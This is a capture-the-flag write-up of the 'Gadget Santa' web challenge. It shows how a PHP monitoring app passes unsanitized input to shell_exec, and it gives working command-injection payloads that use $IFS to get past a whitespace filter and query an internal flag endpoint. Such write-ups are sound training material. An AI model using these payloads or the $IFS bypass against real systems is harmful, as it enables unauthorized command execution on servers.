Htb Gadget Santa

Gadget Santa

Gadget Santa is a challenge in which we are given the source code as well as a hosted copy of a web app that we need to hack in order to find the flag.

Prompt

It seems that the evil elves have broken the controller gadget for the good old candy cane factory! Can you team up with the real red teamer Santa to hack back?

First Impressions

In this challenge, we’re presented with something that looks like a monitoring console of sorts. As we click through the options, we can see the output of the command query parameter in the console.

Santa's monitoring console

Let’s take a look at the source.

Source code review

Starting with the layout and the build files, we can see that this is a PHP app that runs behind nginx. There isn’t anything notable about the version of PHP that’s in use (it’s whatever is latest of the debian:buster-slim docker image) or any the config files.

What is curious however is the following two lines found in the Dockerfile:

COPY config/ups_manager.py /root/ups_manager.py
COPY config/santa_mon.sh /
RUN chmod +x /santa_mon.sh

Here we can see the Python script ups_manager.py being installed to root’s home directory and santa_mon.sh being installed to /.

Let’s take a look at these next two files.

ups_manager.py and santa_mon.sh

ups_manager.py is a Python web server that runs on localhost port 3000. This web server implements a few endpoints, including two that indicate where the “elves” sabotaged the app. Last but not least is GET /get_flag which, you guessed it, should respond with the flag if we can reach it :)

elif self.path == '/get_flag':
    resp_ok()
    self.wfile.write(get_json({'status': 'HTB{f4k3_fl4g_f0r_t3st1ng}'}))
    return

In santa_mon.sh, we see a bunch of function definitions that implement the monitoring buttons on the home page. In two of those functions, we can see them reach our ups_manager.py endpoints using curl.

ups_status() {
    curl localhost:3000;
}

restart_ups() {
    curl localhost:3000/restart;
}

What stands out more, however, is that the script appears to blindly execute whatever command was passed in the command line arguments. This looks like an opportunity for shell injection!

if [ "$#" -gt 0 ]; then
    $1
fi

MonitorModel and MonitorController

This app has just one controller and one model. In MonitorController, we can see that when it handles a request, it takes a query variable and uses it as an argument to MonitorModel without escaping it first.

$command = isset($_GET['command']) ? $_GET['command'] : 'welcome';
$monitor = new MonitorModel($command);
return $router->view('index', ['output' => $monitor->getOutput()]);

In MonitorModel, we see that it does attempt to sanitize the command argument passed in. Unfortunately, its sanitize method is insufficient:

public function sanitize($command)
{   
    $command = preg_replace('/\s+/', '', $command);
    return $command;
}

What this translates to is “remove all of the whitespace from $command”.

Further down we see shell_exec being called from within the getOutput method which, remember, is called from our MonitorController!

The command is passed as an unquoted argument to /santa_mon.sh and its output (stdout) is returned.

public function getOutput()
{
    return shell_exec('/santa_mon.sh '.$this->command);
}

Exploitation

Due to this app passing user input to shell_exec with insufficient escaping, this app is vulnerable to shell injection!

Exploitation should be straight-forward as long as we can overcome the function intended to sanitize our input. In this case, all we have to do is write our command injection without any spaces.

Beating the sanitizer

As it turns out, we can write bash without using any spaces using the $IFS variable. What’s $IFS? In this case, IFS stands for “Internal Field Separator”. What $IFS does is define the separators that bash uses to separate a string into words. For example, if you have the string "foo bar baz", bash will treat these as foo, bar, and baz.

In my initial run through, I had to take one extra step here. The default value of $IFS is a space, a tab, and a newline.

% echo -n $IFS | xxd
00000000: 2009 0a00                                 ...
#   space ^ ^, ^ newline
#            '- tab

What seemd to be happening during my first run through is that the newline was terminating the command in my payload. I changed it to ${IFS%??} and I was back in business! My first payload might have been weird though because when I went back through to write this, I no longer needed it.

In any case, what this all means is that we should be able to use $IFS anywhere that we need whitespace.

The payload

At this point, there are actually two places you can have your shell command execute.

  1. You can have your command executed by santa_mon.sh. As long as you can pass your command in as a single argument, it will be executed by this script. You can achieve this by wrapping your command in quotes.

     if [ "$#" -gt 0 ]; then
       $1
     fi
    

    In this method, the following payload is how I captured the flag:

     # "curl${IFS}localhost:3000/get_flag"
    
     http://challenge.htb/?command=%22curl${IFS%??}localhost:3000/get_flag%22
    
  2. You can have your command executed after /santa_mon.sh runs by having it executed as a second command. In other words, after the /santa_mon.sh in the shell_exec argument.

     public function getOutput()
     {
         return shell_exec('/santa_mon.sh '.$this->command);
     }
    

    It doesn’t matter if /santa_mon.sh succeeds or not, provided you use an operator that allows another command to follow. A payload for that looks like:

     ;curl${IFS%??}localhost:3000/get_flag
    
     # http://challenge.htb/?command=;curl${IFS%??}localhost:3000/get_flag
    

In either case, we get our flag!

Our prized flag